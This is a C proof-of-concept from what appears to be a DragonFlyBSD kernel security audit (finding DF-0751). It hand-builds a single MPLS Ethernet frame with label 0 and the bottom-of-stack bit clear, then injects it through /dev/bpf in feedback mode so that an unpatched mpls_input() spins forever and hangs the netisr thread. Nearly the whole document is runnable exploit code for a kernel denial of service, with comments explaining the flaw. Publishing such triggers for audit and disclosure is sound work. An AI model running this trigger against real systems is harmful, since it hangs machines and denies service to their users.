DragonFlyBSD Kernel Audit
DF-0751 / mpls_trigger.c
← back to finding ↓ download raw
/*
 * DF-0751 trigger: inject a single MPLS Ethernet frame with label=0
 * (IPv4 explicit NULL) and S-bit (bottom-of-stack) CLEAR via bpf on vtnet0.
 *
 * The frame is a single MPLS label entry:
 *   label = 0, exp = 0, S = 0, TTL = 64
 *   -> wire shim = ((0<<12) | (0<<9) | (0<<8) | 64) = 0x00000040
 *
 * On a kernel with the mpls module loaded and the unpatched mpls_input(),
 * this drives mpls_input into the case 0 / S-clear branch which does
 * `goto again` WITHOUT m_adj -> mtod returns the same label forever ->
 * CPU pegs at 100% on the netisr thread, hard hang.
 *
 * Usage: ./mpls_trigger <ifname>   (default ifname vtnet0)
 * Requires root to open /dev/bpf and write a raw frame.
 *
 * NOTE: To avoid bricking the guest for the rest of the run we run this
 * under a short timeout; if the kernel truly loops, the trigger process
 * itself will finish (write() returns), but the kernel netisr thread is
 * now spinning. The observable symptom is "guest stops responding to new
 * ssh, one CPU at 100%" -- which we capture by running `top` from another
 * ssh BEFORE triggering and re-checking AFTER.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#ifndef ETHERTYPE_MPLS
#define ETHERTYPE_MPLS 0x8847
#endif

int
main(int argc, char **argv)
{
	const char *ifname = (argc > 1) ? argv[1] : "vtnet0";
	char dev[16];
	int fd, i, n;
	struct ifreq ifr;
	u_int dlt;
	u_int imm = 1;

	/* find a free bpf device */
	for (i = 0; i < 16; i++) {
		snprintf(dev, sizeof(dev), "/dev/bpf%d", i);
		fd = open(dev, O_RDWR);
		if (fd >= 0)
			break;
	}
	if (fd < 0)
		err(1, "open bpf");

	/* bind to interface */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	if (ioctl(fd, BIOCSETIF, &ifr) < 0)
		err(1, "BIOCSETIF %s", ifname);

	/* immediate return on write (don't wait for buffer fill) */
	if (ioctl(fd, BIOCIMMEDIATE, &imm) < 0)
		err(1, "BIOCIMMEDIATE");

	/*
	 * Enable FEEDBACK mode: bpfwrite() will loop the written packet
	 * back into ifp->if_input (ether_input) as if it arrived from the
	 * wire.  Without this, bpfwrite only does ifp->if_output (sends OUT
	 * the interface) and the frame never reaches mpls_input.
	 */
	if (ioctl(fd, BIOCSFEEDBACK, &imm) < 0)
		err(1, "BIOCSFEEDBACK");
	/* also set header-complete mode so our hand-built ethernet header
	 * (incl. src/dst/ethertype) is used verbatim */
	imm = 1;
	if (ioctl(fd, BIOCSHDRCMPLT, &imm) < 0)
		err(1, "BIOCSHDRCMPLT");

	/* confirm datalink type is Ethernet */
	if (ioctl(fd, BIOCGDLT, &dlt) < 0)
		err(1, "BIOCGDLT");
	if (dlt != DLT_EN10MB)
		errx(1, "unexpected datalink type %u (want EN10MB)", dlt);

	/*
	 * Build the frame: 14-byte Ethernet header + 4-byte MPLS shim.
	 * dst = broadcast, src = anything, ethertype = 0x8847.
	 * MPLS shim (network byte order on wire): label=0, exp=0, S=0, TTL=64
	 *   -> big-endian 0x00000040
	 * We pack an extra 16 bytes of payload so m_pkthdr.len comfortably
	 * exceeds sizeof(struct mpls) (=4) for the KASSERT in mpls_input.
	 */
	unsigned char frame[64];
	memset(frame, 0, sizeof(frame));
	/* dst = ff:ff:ff:ff:ff:ff */
	memset(frame + 0, 0xff, 6);
	/* src = 52:54:00:12:34:56 (matches vtnet0) */
	frame[6] = 0x52; frame[7] = 0x54; frame[8] = 0x00;
	frame[9] = 0x12; frame[10] = 0x34; frame[11] = 0x56;
	/* ethertype = 0x8847 */
	frame[12] = 0x88; frame[13] = 0x47;
	/* MPLS shim: 0x00000040 big-endian */
	frame[14] = 0x00; frame[15] = 0x00;
	frame[16] = 0x00; frame[17] = 0x40;
	/* rest is zero payload (already memset) */

	printf("DF-0751: writing 1 MPLS frame (%zu bytes) label=0 S=0 TTL=64 on %s\n",
	    sizeof(frame), ifname);
	fflush(stdout);

	n = write(fd, frame, sizeof(frame));
	if (n < 0)
		err(1, "write bpf");
	printf("DF-0751: write returned %d (frame injected)\n", n);
	printf("DF-0751: on vulnerable mpls_input(), the netisr thread now spins forever.\n");
	fflush(stdout);

	close(fd);
	return 0;
}